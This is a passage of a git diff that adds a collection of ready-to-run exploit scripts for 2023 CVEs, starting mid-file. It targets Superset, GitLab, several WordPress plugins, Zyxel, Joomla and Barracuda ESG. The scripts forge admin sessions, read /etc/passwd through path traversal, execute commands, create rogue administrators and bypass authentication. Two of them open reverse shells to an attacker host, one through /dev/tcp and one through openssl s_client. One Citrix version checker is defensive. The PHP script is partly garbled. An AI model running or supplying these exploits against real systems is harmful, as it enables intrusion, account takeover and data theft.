self.check_2(options.url) + else: + print("[-] URL not provided") + +if __name__ == '__main__': + exploit = SPipRCEPoC() + exploit.run() \ No newline at end of file diff --git a/CVE-2023-27524.py b/CVE-2023-27524.py new file mode 100644 index 0000000..cee76d7 --- /dev/null +++ b/CVE-2023-27524.py @@ -0,0 +1,97 @@ +from flask_unsign import session +import requests +import urllib3 +import argparse +import re +from time import sleep +from selenium import webdriver +from urllib.parse import urlparse +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + +SECRET_KEYS = [ + b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1 + b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1 + b'thisISaSECRET_1234', # deployment template + b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation + b'TEST_NON_DEV_SECRET' # docker compose +] + +def main(): + + parser = argparse.ArgumentParser() + parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True) + parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1') + args = parser.parse_args() + + try: + u = args.url.rstrip('/') + '/login/' + + headers = { + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0' + } + + resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False) + if resp.status_code != 200: + print(f'Error retrieving login page at {u}, status code: {resp.status_code}') + return + + session_cookie = None + for c in resp.cookies: + if c.name == 'session': + session_cookie = c.value + break + + if not session_cookie: + print('Error: No session cookie found') + return + + print(f'Got session cookie: {session_cookie}') + + try: + decoded = session.decode(session_cookie) + print(f'Decoded session cookie: {decoded}') + except: + print('Error: Not a Flask session cookie') + return + + match = re.search(r'"version_string": "(.*?)"', resp.text) + if match: + version = match.group(1) + else: + version = 'Unknown' + + print(f'Superset Version: {version}') + + + for i, k in enumerate(SECRET_KEYS): + cracked = session.verify(session_cookie, k) + if cracked: + break + + if not cracked: + print('Failed to crack session cookie') + return + + print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}') + + try: + user_id = int(args.id) + except: + user_id = args.id + + forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k) + print(f'Forged session cookie for user {user_id}: {forged_cookie}') + u1 = args.url.rstrip('/') + '/superset/welcome' + + print(f"Now visit the url: `{u1}` and replace the current session cookie with this `{forged_cookie}` and refresh the page and we will be logged in as admin to the dashboard:)") + + + + + except Exception as e: + print(f'Unexpected error: {e}') + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/CVE-2023-2825-POC.py b/CVE-2023-2825-POC.py new file mode 100644 index 0000000..b8bd84d --- /dev/null +++ b/CVE-2023-2825-POC.py @@ -0,0 +1,130 @@ +# CVE-2023-2825 - GitLab Unauthenticated arbitrary file read + +# Vendor advisory: https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/ +# +# This Proof Of Concept leverages a path traversal vulnerability +# to retrieve the /etc/passwd file from a system running GitLab 16.0.0. +# + +import requests +import random +import string +from urllib.parse import urlparse +from bs4 import BeautifulSoup + + +ENDPOINT = "https://gitlab.example.com" +USERNAME = "root" +PASSWORD = "toor" + +# Session for cookies +session = requests.Session() + +# CSRF token +csrf_token = "" + +# Ignore invalid SSL +requests.urllib3.disable_warnings() + + +def request(method, path, data=None, files=None, headers=None): + global csrf_token + + if method == "POST" and isinstance(data, dict): + data["authenticity_token"] = csrf_token + + response = session.request( + method, + f"{ENDPOINT}{path}", + data=data, + files=files, + headers=headers, + verify=False, + ) + if response.status_code != 200: + print(response.text) + print(f"[*] Request failed: {method} - {path} => {response.status_code}") + exit(1) + + if response.headers["content-type"].startswith("text/html"): + csrf_token = BeautifulSoup(response.text, "html.parser").find( + "meta", {"name": "csrf-token"} + )["content"] + + return response + + +# Get initial CSRF token +request("GET", "") + +# Login +print("[*] Attempting to login...") +request( + "POST", + "/users/sign_in", + data={"user[login]": USERNAME, "user[password]": PASSWORD}, +) + +print(f"[*] Login successful as user '{USERNAME}'") + + +# Create groups +group_prefix = "".join(random.choices(string.ascii_uppercase + string.digits, k=3)) +print(f"[*] Creating 11 groups with prefix {group_prefix}") + +parent_id = "" +for i in range(1, 12): + # Create group + name = f"{group_prefix}-{i}" + create_resp = request( + "POST", + "/groups", + data={ + "group[parent_id]": parent_id, + "group[name]": name, + "group[path]": name, + "group[visibility_level]": 20, + "user[role]": "software_developer", + "group[jobs_to_be_done]": "", + }, + ) + + # Get group id + parent_id = BeautifulSoup(create_resp.text, "html.parser").find( + "button", {"title": "Copy group ID"} + )["data-clipboard-text"] + + print(f"[*] Created group '{name}'") + +# Create project +project_resp = request( + "POST", + "/projects", + data={ + "project[ci_cd_only]": "false", + "project[name]": "CVE-2023-2825", + "project[selected_namespace_id]": parent_id, + "project[namespace_id]": parent_id, + "project[path]": "CVE-2023-2825", + "project[visibility_level]": 20, + "project[initialize_with_readme": 1, + }, +) +repo_path = urlparse(project_resp.url).path +print(f"[*] Created public repo '{repo_path}'") + +# Upload file +file_resp = request( + "POST", + f"/{repo_path}/uploads", + files={"file": "hello world"}, + headers={"X-CSRF-Token": csrf_token}, +) +file_url = file_resp.json()["link"]["url"] +print(f"[*] Uploaded file '{file_url}'") + +# Get /etc/passwd +exploit_path = f"/{repo_path}{file_url.split('file')[0]}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd" +print(f"[*] Executing exploit, fetching file '/etc/passwd': GET - {exploit_path}") +exploit_resp = request("GET", exploit_path) +print(f"\n{exploit_resp.text}") \ No newline at end of file diff --git a/CVE-2023-2825.py b/CVE-2023-2825.py new file mode 100644 index 0000000..6fdece9 --- /dev/null +++ b/CVE-2023-2825.py @@ -0,0 +1,132 @@ +# CVE-2023-2825 - GitLab Unauthenticated arbitrary file read +# Released by OccamSec on 2023.05.25 +# +# OccamSec Blog: https://occamsec.com/exploit-for-cve-2023-2825/ +# Vendor advisory: https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/ +# +# This Proof Of Concept leverages a path traversal vulnerability +# to retrieve the /etc/passwd file from a system running GitLab 16.0.0. +# + +import requests +import random +import string +from urllib.parse import urlparse +from bs4 import BeautifulSoup + + +ENDPOINT = "https://gitlab.example.com" +USERNAME = "root" +PASSWORD = "toor" + +# Session for cookies +session = requests.Session() + +# CSRF token +csrf_token = "" + +# Ignore invalid SSL +requests.urllib3.disable_warnings() + + +def request(method, path, data=None, files=None, headers=None): + global csrf_token + + if method == "POST" and isinstance(data, dict): + data["authenticity_token"] = csrf_token + + response = session.request( + method, + f"{ENDPOINT}{path}", + data=data, + files=files, + headers=headers, + verify=False, + ) + if response.status_code != 200: + print(response.text) + print(f"[*] Request failed: {method} - {path} => {response.status_code}") + exit(1) + + if response.headers["content-type"].startswith("text/html"): + csrf_token = BeautifulSoup(response.text, "html.parser").find( + "meta", {"name": "csrf-token"} + )["content"] + + return response + + +# Get initial CSRF token +request("GET", "") + +# Login +print("[*] Attempting to login...") +request( + "POST", + "/users/sign_in", + data={"user[login]": USERNAME, "user[password]": PASSWORD}, +) + +print(f"[*] Login successful as user '{USERNAME}'") + + +# Create groups +group_prefix = "".join(random.choices(string.ascii_uppercase + string.digits, k=3)) +print(f"[*] Creating 11 groups with prefix {group_prefix}") + +parent_id = "" +for i in range(1, 12): + # Create group + name = f"{group_prefix}-{i}" + create_resp = request( + "POST", + "/groups", + data={ + "group[parent_id]": parent_id, + "group[name]": name, + "group[path]": name, + "group[visibility_level]": 20, + "user[role]": "software_developer", + "group[jobs_to_be_done]": "", + }, + ) + + # Get group id + parent_id = BeautifulSoup(create_resp.text, "html.parser").find( + "button", {"title": "Copy group ID"} + )["data-clipboard-text"] + + print(f"[*] Created group '{name}'") + +# Create project +project_resp = request( + "POST", + "/projects", + data={ + "project[ci_cd_only]": "false", + "project[name]": "CVE-2023-2825", + "project[selected_namespace_id]": parent_id, + "project[namespace_id]": parent_id, + "project[path]": "CVE-2023-2825", + "project[visibility_level]": 20, + "project[initialize_with_readme": 1, + }, +) +repo_path = urlparse(project_resp.url).path +print(f"[*] Created public repo '{repo_path}'") + +# Upload file +file_resp = request( + "POST", + f"/{repo_path}/uploads", + files={"file": "hello world"}, + headers={"X-CSRF-Token": csrf_token}, +) +file_url = file_resp.json()["link"]["url"] +print(f"[*] Uploaded file '{file_url}'") + +# Get /etc/passwd +exploit_path = f"/{repo_path}{file_url.split('file')[0]}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd" +print(f"[*] Executing exploit, fetching file '/etc/passwd': GET - {exploit_path}") +exploit_resp = request("GET", exploit_path) +print(f"\n{exploit_resp.text}") diff --git a/CVE-2023-2877.py b/CVE-2023-2877.py new file mode 100644 index 0000000..6adab7f --- /dev/null +++ b/CVE-2023-2877.py @@ -0,0 +1,120 @@ +#!/usr/bin/env python3 + +# +# Formidable Forms < 6.3.1 - Subscriber+ Remote Code Execution +# CVE-2023-2877 +# + +import argparse +import requests +import re +import os +requests.packages.urllib3.disable_warnings() +session = requests.Session() +# Setting User-Agent for all requests. +user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +session.headers.update({'User-Agent': user_agent}) + +def login_wordpress(url, username, password): + + # Set a real user agent header + + + + # Perform login + login_data = { + 'log': username, + 'pwd': password, + 'wp-submit': 'Log In', + 'redirect_to': '/wp-admin/', + } + try: + response = session.post(url + '/wp-login.php', data=login_data, verify=False) + response.raise_for_status() + + # Check if logged in successfully + if any('wordpress_logged_in' in cookie.name for cookie in session.cookies): + print('Successfully logged in.') + else: + print('Failed to log in.') + except requests.exceptions.RequestException as e: + print('Error occurred while logging in:', str(e)) + + return session + +def extract_token(session, url): + # Visit the specified page and extract the token + try: + response = session.get(url, verify=False) + response.raise_for_status() + + token = re.search(r"token=(\w+)", response.text).group(1) + print(f'Token extracted: {token}') + return token + except requests.exceptions.RequestException as e: + print('If a 403 status code returned the Plugin is not installed / activted / vulnerable.') + print('Error occurred while extracting token:', str(e)) + exit() + + return None + +def install_plugin(session, url, token,plugin): + # Install the plugin using the extracted token + plugin_url = f"{url}/wp-json/frm-admin/v1/install-addon?token={token}&file_url=https://downloads.wordpress.org/plugin/{plugin}" + try: + response = session.get(plugin_url, verify=False) + + if response.status_code == 200: + if "Destination folder already exists" in response.text: + print("Plugin Already Installed.") + else: + print('Plugin installed successfully.') + print('Now run exploit script with --cmd / -c and command.') + else: + print('Failed to install the plugin.') + except requests.exceptions.RequestException as e: + print('Error occurred while installing plugin:', str(e)) + +def execute_ajax_request(url, cmd): + # Execute AJAX request with cmd value + ajax_url = f"{url}/wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:{cmd}:NULL:NULL" + try: + response = session.get(ajax_url, verify=False) + if response.status_code == 400: + print("Vulnerable Plugin for RCE is not installed.") + print("Run Script with out --cmd / -c to install vulnerable plugin for RCE.") + exit() + response.raise_for_status() + # Parse the JSON response + data = response.json() + if 'data' in data: + print("Data:") + print(data['data']) + else: + print("No data found.") + except requests.exceptions.RequestException as e: + print('Error occurred while executing AJAX request:', str(e)) + + +def main(): + parser = argparse.ArgumentParser(description='CVE-2023-2877 - Formidable Forms < 6.3.1 - Subscriber+ Remote Code Execution Script') + parser.add_argument('-w', '--url', required=True, help='WordPress site URL') + parser.add_argument('-u', '--username', required=True, help='WordPress username') + parser.add_argument('-p', '--password', required=True, help='WordPress password') + parser.add_argument('-pl', '--plugin', required=False, default="wp-upg.2.19.zip", help='Different Plugin to Install i.e mstore-api.3.9.0.zip') + parser.add_argument('-c', '--cmd', required=False, help='Command value') + + args = parser.parse_args() + + + if args.cmd: + execute_ajax_request(args.url, args.cmd) + else: + session = login_wordpress(args.url, args.username, args.password) + admin_page_url = f"{args.url}/wp-admin/admin.php?page=formidable-welcome" + token = extract_token(session, admin_page_url) + install_plugin(session, args.url, token,args.plugin) + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/CVE-2023-28771-poc.py b/CVE-2023-28771-poc.py new file mode 100644 index 0000000..0f3f069 --- /dev/null +++ b/CVE-2023-28771-poc.py @@ -0,0 +1,26 @@ +#!/usr/bin/python3 +import sys +from scapy.all import * +import argparse + +parser = argparse.ArgumentParser() +parser.add_argument("rhost") +parser.add_argument("--cmd") +parser.add_argument("--lhost") +parser.add_argument("--lport") +args = parser.parse_args() + +load_contrib('ikev2') + +if args.cmd is not None: + cmd = "\";bash -c \"" + args.cmd + "\";echo -n \"" +elif args.lhost and args.lport: + cmd = "\";bash -c \"exec bash -i &>/dev/tcp/" + args.lhost + "/" + args.lport + " <&1;\";echo -n \"" +else: + print("Check your syntax, and try again") + sys.exit() + + +packet = IP(dst = args.rhost) / UDP(dport = 500) / IKEv2(init_SPI = RandString(8), next_payload = 'Notify', exch_type = 'IKE_SA_INIT', flags='Initiator') / IKEv2_payload_Notify(next_payload = 'Nonce', type = 14, load = "HAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB" + cmd) / IKEv2_payload_Nonce(next_payload = 'None', load = RandString(68)) + +send(packet) \ No newline at end of file diff --git a/CVE-2023-2982.py b/CVE-2023-2982.py new file mode 100644 index 0000000..056da24 --- /dev/null +++ b/CVE-2023-2982.py @@ -0,0 +1,95 @@ +#!/usr/bin/python3 + +import sys +import getopt +import requests +import os +from Crypto.Cipher import AES +from Crypto.Util.Padding import pad +import base64 +import argparse +import random +import string +import requests +import json +import lxml.etree as ET +import re +from requests.packages.urllib3.exceptions import InsecureRequestWarning +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) +session = requests.Session() +passphrase = 'jMj7MEdu4wkHObiD' + + +# Setting User-Agent for all requests. +user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +session.headers.update({'User-Agent': user_agent}) +random_string = ''.join(random.choices(string.digits, k=4)) + + +def try_login(website_url,email): + # format url + website_url = website_url.rstrip('\/') + '/' + + # encrypt and encode email + cipher = AES.new(passphrase.encode('utf-8'), AES.MODE_ECB) + padded_email = pad(email.encode('utf-8'), AES.block_size) + encrypted_email = cipher.encrypt(padded_email) + encoded_email = base64.b64encode(encrypted_email).decode('utf-8') + # post moopenid + try: + response = session.post(website_url, headers={'Content-Type': 'application/x-www-form-urlencoded'}, + data={'option': 'moopenid', 'email': encoded_email, 'appName': 'rlHeqZw2vrPzOiWWfCParA=='}, + allow_redirects=False,verify=False,timeout=10) + + if any('wordpress_logged_in' in cookie.name for cookie in session.cookies): + # Opening the file and replacing the desired strings + with open("login.html", 'r') as file: + file_content = file.read() + replaced_content = file_content.replace('WEBSITE_REPLACE', website_url).replace('EMAIL_REPLACE', encoded_email) + # Writing the updated content back to the file + with open("login-"+random_string+".html", 'w') as file: + file.write(replaced_content) + print("Login Worked!") + print("To Login again open login-"+random_string+".html") + os.system("open login-"+random_string+".html") + + else: + print("Login Failed with "+email+"") + except requests.exceptions.RequestException as e: + print('Error occurred while logging in:', str(e)) + +def scan_and_extract(website_url): + print("Crawling "+website_url+" for email addresses.") + cmd = "katana -u "+website_url+" -o /tmp/katana.txt" + cmd2 = "nuclei --silent -l /tmp/katana.txt -t http/miscellaneous/email-extractor.yaml -nc -nm -fr -o /tmp/nuc.txt" + #os.system(cmd) + print("Using Nuclei to extract emails from links") + os.system(cmd2) + with open("nuc.txt", "r") as f: + lines = f.readlines() + emails = set() + for line in lines: + matches = re.findall(r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b', line) + emails.update(matches) + with open("nuc.txt", "w") as f: + for email in emails: + f.write(email + "\n") + try_login(website_url,email) + +def main(): + parser = argparse.ArgumentParser(description='CVE-2023-2982.py') + parser.add_argument('-w', '--website_url', required=True,help='Website URL') + parser.add_argument('-e', '--email',required=False, help='Email') + args = parser.parse_args() + website_url = args.website_url + email = args.email + if args.email: + try_login(website_url,email) + else: + scan_and_extract(website_url) + + + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/CVE-2023-3460.py b/CVE-2023-3460.py new file mode 100644 index 0000000..c0f8b62 --- /dev/null +++ b/CVE-2023-3460.py @@ -0,0 +1,107 @@ +# CVE-2023-3460 +# Ultimate Member Unauthorized Administrator Access Exploit +# by Secragon +# PoC for educational/research purposes only +# Use it at your own risk! + +import re +import sys +import urllib3 +import requests +import argparse +from colorama import Fore, Style + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + +username = "secragon" +password = "OffensiveSecurity123" +email = "exploit@secragon.com" + +def check_version(target): + + print(Style.RESET_ALL + "Site version:", end=' ') + try: + r = requests.get(f"{target}/wp-content/plugins/ultimate-member/readme.txt", verify=False) + version = re.search(r"Stable tag: (.*)", r.text).groups()[0] + + except: + print(Fore.RED + f'error...') + exit() + + + if int(version.replace('.','')) < 267: + print(Fore.GREEN + f'{version} - vulnerable!') + else: + print(Fore.RED + f'{version} - not vulnerable!') + exit() + +def add_admin(target, form_id): + + headers = { + 'User-Agent': 'Secragon Offensive Agent' + } + + print(Style.RESET_ALL + "Getting nonce:", end =' ') + + s = requests.Session() + try: + r = s.get(f'{target}/index.php/register/', headers=headers, verify=False) + nonce = re.search(r"name=\"_wpnonce\" value=\"(.{10})\"", r.text).groups()[0] + print(Fore.GREEN + f"{nonce}") + except: + print(Fore.RED + f'error...') + exit() + + + data = { + f'user_login-{form_id}' : username, + f'user_email-{form_id}': email, + f'user_password-{form_id}': password, + f'confirm_user_password-{form_id}': password, + f'first_name-{form_id}': 'Exploit', + f'last_name-{form_id}': 'bySecragon', + 'form_id': form_id, + 'um_request': '', + '_wpnonce': nonce, + 'wp_càpabilities[administrator]': 1 + } + + print(Style.RESET_ALL + "Adding a new admin:", end =' ') + + + r = s.post(f'{target}/index.php/register/', data=data, headers=headers, verify=False) + if r.history[0].status_code == 302: + print(Fore.GREEN + f'done') + else: + print(Fore.RED + f'error...') + exit() + + print() + print(Style.RESET_ALL + "All set! You can now login using the following credentials:") + print(f'Username: {username}') + print(f'Password: {password}') + print() + + + +print() +print(Fore.BLUE + "\t\t --- Ultimate Member exploit ---") +print("\t\t (unauthorized admin access)") +print(Fore.RED + "\t\t\t\t\tby gbrsh@secragon") +print(Style.RESET_ALL) + + +parser = argparse.ArgumentParser() + +parser.add_argument('url', help='http://wphost') + +if len(sys.argv) == 1: + parser.print_help() + print() + exit() + +args = parser.parse_args() + +check_version(args.url) +add_admin(args.url, 6) \ No newline at end of file diff --git a/CVE-2023-3519-checker.py b/CVE-2023-3519-checker.py new file mode 100644 index 0000000..2f41116 --- /dev/null +++ b/CVE-2023-3519-checker.py @@ -0,0 +1,63 @@ +################################################################################ +# File: CVE-2023-3519-checker.py +# Version: 1.2 +# Author: Deutsche Telekom CERT +# Organization: Deutsche Telekom Security GmbH +# License: GNU General Public License v3.0 +################################################################################ + +import datetime +import requests +import time + +requests.packages.urllib3.disable_warnings() + +MAX_RETRIES = 3 + +print("#" * 80) +print("# CVE-2023-3519-checker.py") +print("# by Deutsche Telekom CERT") +print("# Don't use this as your only way of verification!") +print("#" * 80) +print("") + +PATCHED_VERSIONS = [ + {"version": "13.0-91.13", "timestamp": "Fri, 07 Jul 2023 15:39:40 GMT"}, + {"version": "13.1-49.13", "timestamp": "Mon, 10 Jul 2023 17:41:17 GMT"}, + {"version": "13.1-49.13", "timestamp": "Mon, 10 Jul 2023 18:36:14 GMT"} +] + +def get_last_modified(target_url): + for _ in range(MAX_RETRIES): + try: + resp = requests.get(target_url, verify=False, allow_redirects=True) + last_modified = datetime.datetime.strptime(resp.headers["Last-Modified"], "%a, %d %b %Y %H:%M:%S %Z") + return resp, last_modified + except (KeyError, requests.exceptions.RequestException): + continue + return None, None + +with open("targets.txt", "r") as f: + for target in f.readlines(): + target = f"https://{target.strip()}" + resp, last_modified = get_last_modified(target) + patched = False + + if resp is not None: + for patch in PATCHED_VERSIONS: + if last_modified == datetime.datetime.strptime(patch["timestamp"], "%a, %d %b %Y %H:%M:%S %Z"): + patched = True + if not patched and last_modified < datetime.datetime.strptime("01 Jul 2023 00:00:00 GMT", "%d %b %Y %H:%M:%S %Z"): + patched = "potentially vulnerable (older than 01 Jul 2023)" + if not patched and last_modified > datetime.datetime.strptime("18 Jul 2023 13:00:00 GMT", "%d %b %Y %H:%M:%S %Z"): + time.sleep(5) # sleep 5 seconds to get a different "Last Modified" timestamp + resp_second_try, last_modify_second_try = get_last_modified(target) + if last_modified == last_modify_second_try: # if the timestamps would be different, this could indicate a reverse proxy or something that messes with the timestamp + patched = "Probably patched and customised (modification timestamp is newer than 18 Jul 2023 and not volatile)" + elif not patched: + patched = "potentially vulnerable (unknown timestamp)" + else: + patched = "not verifiable" + last_modified = "N/A" + + print(f'target: {target} | last modified header: {last_modified} | patched: {patched}') \ No newline at end of file diff --git a/cve-2023-23752-PoC.sh b/cve-2023-23752-PoC.sh new file mode 100644 index 0000000..6bb941c --- /dev/null +++ b/cve-2023-23752-PoC.sh @@ -0,0 +1,53 @@ +#!/bin/bash + +# title: CVE-2023-23752 joomla PoC +# author: whiteOwl +# description: +# send a get request to the URL endpoint and if the request is successful, parse the response for sensitive information. + +usage() { + echo "Usage: $0 [-u ] [-l ] [-h]" + echo " -u Specify a single URL to scan" + echo " -l Specify a file containing a list of URLs to scan" + echo " -h Display this help message" +} + +url="" +url_list="" + +while getopts u:l:h flag +do + case "${flag}" in + u) url=${OPTARG};; + l) url_list=${OPTARG};; + h) usage + exit;; + *) usage + exit 1;; + esac +done + +if [[ -n $url ]]; then + output=$(echo $url | httpx -path '/api/index.php/v1/config/application?public=true' -sc -mc 200,406 -silent) + if [[ $output == *"200"* || $output == *"406"* ]]; then + echo "$output" + curl -o result "$url/api/index.php/v1/config/application?public=true" + echo "full response is saved in result.txt" + echo "showing sensitive info recived in response:" + echo + cat result | grep -o -E '.{0,20}(user|pass|id).{0,20}' | sed 's/^.\{0,20\}//;s/\(.\{20\}\).*$/\1/' + + fi + +elif [[ -n $url_list ]]; then + while read url; do + output=$(echo $url | httpx -path '/api/index.php/v1/config/application?public=true' -sc -mc 200,406 -silent) + if [[ $output == *"200"* || $output == *"406"* ]]; then + echo "Scanning $url ..." + curl -o $(echo $url | sed 's|http[s]*://||' | sed 's|/$||').result $url/api/index.php/v1/config/application?public=true + echo "showing sensitive info received in response for $url :" + echo + cat $(echo $url | sed 's|http[s]*://||' | sed 's|/$||').result | grep -o -E '.{0,30}(user|pass|id).{0,30}' | sed 's/^.\{0,30\}//;s/\(.\{30\}\).*$/\1/' + fi + done < $url_list +fi \ No newline at end of file diff --git a/poc.php b/poc.php new file mode 100644 index 0000000..23f857c --- /dev/null +++ b/poc.php @@ -0,0 +1,99 @@ + $header, + 'body' => $body, + 'status_code' => $statusCode + ]; +} + + + +if ($argc != 4) { + echo "[-] Usage: php poc.php http://target_host arget_port max_cart_id_to_enumerate\n"; + exit(1); +} + +$host = $argv[1]; +$port = $argv[2]; +// The maximum cart ID to enumerate +$max_id = intval($argv[3]); + + +function exploit_link($host,$port,$id,$encryption_key){ + $validate_val = $id.'&url='.$host.':'.$port.'/checkout/'; + $encrypted_val = encrypt($validate_val, $encryption_key, 256); + + $url = $host.':'.$port.'/?wcal_action=checkout_link&user_email=test&validate='.$encrypted_val; + + $result = fetch_url_content($url); + + if ($result == False){ + return False; + } + + if ($result['body'] == 'Link expired') { + return False; + } else { + // Looking for username + preg_match('/Set-Cookie:.*wordpress_.*=(.*?)%/', $result['header'], $matches); + $username = isset($matches[1]) ? $matches[1] : null; + + if ($username){ + echo "[+] Authentication Bypass URL for user '".$username."' : ".$url."\n"; + return True; + }else{ + return False; + } + + } +} + +for ($id = 1; $id <= $max_id; $id++) { + echo "[*] Enumerating cart ID : ".$id."\n"; + // Hardcoded Encryption key + $encryption_key = 'qJB0rGtIn5UB1xG03efyCp'; + $res = exploit_link($host,$port,$id,$encryption_key); + + if (! $res){ + // In the docker instance I tried, it had empty encryption key for somereason + $encryption_key = ''; + $res = exploit_link($host,$port,$id,$encryption_key); + } +} + +?> \ No newline at end of file diff --git a/poc_cve_2023_2868.rb b/poc_cve_2023_2868.rb new file mode 100644 index 0000000..e00d94f --- /dev/null +++ b/poc_cve_2023_2868.rb @@ -0,0 +1,89 @@ +require 'base64' +require 'mail' +require 'net/smtp' +require 'rubygems/package' + +RHOST = "#{ARGV[0] || '192.168.1.42'}" +LHOST = "192.168.1.10" +LPORT = "9001" + +TARGET_EMAIL = "test@lol.tst" + +CMD = "setsid sh -c \"mkfifo /tmp/p;sh -i &1|openssl s_client -quiet -connect #{LHOST}:#{LPORT} >/tmp/p 2>/dev/null;rm /tmp/p\"" +PAYLOAD = "'`#{CMD}`'" + +class Gem::Package::TarWriter +=begin +Override split_name to eliminate filename size checks. Prefix names +andfile names are validated in the original code and we want to get +rid of that because we're making sketchy tarfiles here. + +https://github.com/ruby/ruby/blob/master/lib/rubygems/package/tar_writer.rb +=end + + def split_name(name) + prefix = "" + if name.bytesize > 100 + parts = name.split("/", -1) # parts are never empty here + name = parts.pop # initially empty for names with a trailing slash ("foo/.../bar/") + prefix = parts.join("/") # if empty, then it's impossible to split (parts is empty too) + while !parts.empty? && (prefix.bytesize > 155 || name.empty?) + name = parts.pop + "/" + name + prefix = parts.join("/") + end + end + [name, prefix] + end +end + +def rand_str(number) + charset = Array('A'..'Z') + Array('a'..'z') + Array.new(number) { charset.sample }.join +end + +def tar(files_and_contents, output_file) + puts "[+] Creating tar file: #{output_file}" + File.open(output_file, "wb") do |file| + Gem::Package::TarWriter.new(file) do |tar| + files_and_contents.each_pair do |filename, content| + tar.add_file_simple(filename, 0644, content.length) do |io| + io.write(content) + end + end + end + end +end + +def cleanup(filename) + puts "[+] cleaning up" + File.delete(filename) if File.exists?(filename) +end + +def sendmail(addr, target_email, attachment) + src_addr = rand_str(8) + Mail.defaults do + delivery_method :smtp, { + :address => addr, + :port => 25, + :openssl_verify_mode => 'none' + } + end + puts "[+] sending mail" + Mail.deliver do + from "#{src_addr}@lol.tst" + to target_email # "test@lol.tst" + subject "Email with attachment - #{src_addr}" + body "Hello world" + add_file attachment + end +end + +files = { + PAYLOAD => rand_str(32), +} + +OUTFILE = rand_str(8) + '.tar' + +tar(files, OUTFILE) +sendmail(RHOST, TARGET_EMAIL, OUTFILE) +cleanup(OUTFILE) \ No newline at end of file